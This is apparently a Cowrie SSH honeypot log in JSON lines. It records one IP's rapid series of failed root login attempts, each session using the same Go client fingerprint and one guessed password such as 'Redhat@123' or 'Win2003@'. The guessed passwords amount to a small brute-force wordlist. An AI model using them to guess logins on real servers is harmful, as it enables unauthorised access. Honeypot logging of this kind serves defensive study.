{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:11.185959Z","src_ip":"60.165.124.241","session":"43c84760088d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxoo","message":"login attempt [root/xxoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:11.910877Z","src_ip":"60.165.124.241","session":"43c84760088d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:13.154051Z","src_ip":"60.165.124.241","session":"43c84760088d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46218,"dst_ip":"10.17.0.5","dst_port":22,"session":"3393743bc093","protocol":"ssh","message":"New connection: 60.165.124.241:46218 (10.17.0.5:22) [session: 3393743bc093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:13.384350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:13.391991Z","src_ip":"60.165.124.241","session":"3393743bc093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:13.631839Z","src_ip":"60.165.124.241","session":"3393743bc093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"881013","message":"login attempt [root/881013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:14.355752Z","src_ip":"60.165.124.241","session":"3393743bc093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:15.594889Z","src_ip":"60.165.124.241","session":"3393743bc093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48926,"dst_ip":"10.17.0.5","dst_port":22,"session":"15185c2bcbd0","protocol":"ssh","message":"New connection: 60.165.124.241:48926 (10.17.0.5:22) [session: 15185c2bcbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:15.867793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:15.874922Z","src_ip":"60.165.124.241","session":"15185c2bcbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:16.131402Z","src_ip":"60.165.124.241","session":"15185c2bcbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13371337","message":"login attempt [root/13371337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:16.907935Z","src_ip":"60.165.124.241","session":"15185c2bcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:18.169680Z","src_ip":"60.165.124.241","session":"15185c2bcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9aa208364e","protocol":"ssh","message":"New connection: 60.165.124.241:51798 (10.17.0.5:22) [session: 3c9aa208364e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:18.382768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:18.392725Z","src_ip":"60.165.124.241","session":"3c9aa208364e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:18.630893Z","src_ip":"60.165.124.241","session":"3c9aa208364e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as123","message":"login attempt [root/as123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:19.348907Z","src_ip":"60.165.124.241","session":"3c9aa208364e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:20.588920Z","src_ip":"60.165.124.241","session":"3c9aa208364e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54906,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8941099e4b","protocol":"ssh","message":"New connection: 60.165.124.241:54906 (10.17.0.5:22) [session: 4b8941099e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:20.831233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:20.835837Z","src_ip":"60.165.124.241","session":"4b8941099e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:21.088637Z","src_ip":"60.165.124.241","session":"4b8941099e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm)OKM","message":"login attempt [root/0okm)OKM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:21.820434Z","src_ip":"60.165.124.241","session":"4b8941099e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:23.073372Z","src_ip":"60.165.124.241","session":"4b8941099e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57608,"dst_ip":"10.17.0.5","dst_port":22,"session":"b513e1287cf3","protocol":"ssh","message":"New connection: 60.165.124.241:57608 (10.17.0.5:22) [session: b513e1287cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:23.319079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:23.327552Z","src_ip":"60.165.124.241","session":"b513e1287cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:23.578412Z","src_ip":"60.165.124.241","session":"b513e1287cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d41d8cd98f00b204e9800998ecf8427e","message":"login attempt [root/d41d8cd98f00b204e9800998ecf8427e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:24.319797Z","src_ip":"60.165.124.241","session":"b513e1287cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:25.560881Z","src_ip":"60.165.124.241","session":"b513e1287cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"677d21f79185","protocol":"ssh","message":"New connection: 60.165.124.241:60796 (10.17.0.5:22) [session: 677d21f79185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:25.798883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:25.804272Z","src_ip":"60.165.124.241","session":"677d21f79185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:26.045431Z","src_ip":"60.165.124.241","session":"677d21f79185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat@123","message":"login attempt [root/Redhat@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:26.794989Z","src_ip":"60.165.124.241","session":"677d21f79185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:28.041269Z","src_ip":"60.165.124.241","session":"677d21f79185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35392,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a5416d6ce8","protocol":"ssh","message":"New connection: 60.165.124.241:35392 (10.17.0.5:22) [session: 40a5416d6ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:28.285081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:28.294188Z","src_ip":"60.165.124.241","session":"40a5416d6ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:28.538243Z","src_ip":"60.165.124.241","session":"40a5416d6ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Win2003@","message":"login attempt [root/Win2003@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:29.277592Z","src_ip":"60.165.124.241","session":"40a5416d6ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:30.526439Z","src_ip":"60.165.124.241","session":"40a5416d6ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38336,"dst_ip":"10.17.0.5","dst_port":22,"session":"7220eebcde86","protocol":"ssh","message":"New connection: 60.165.124.241:38336 (10.17.0.5:22) [session: 7220eebcde86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:30.777722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:30.782103Z","src_ip":"60.165.124.241","session":"7220eebcde86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:32.511782Z","src_ip":"60.165.124.241","session":"7220eebcde86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123@@","message":"login attempt [root/Aa123123@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:33.285623Z","src_ip":"60.165.124.241","session":"7220eebcde86","protocol":"ssh"}
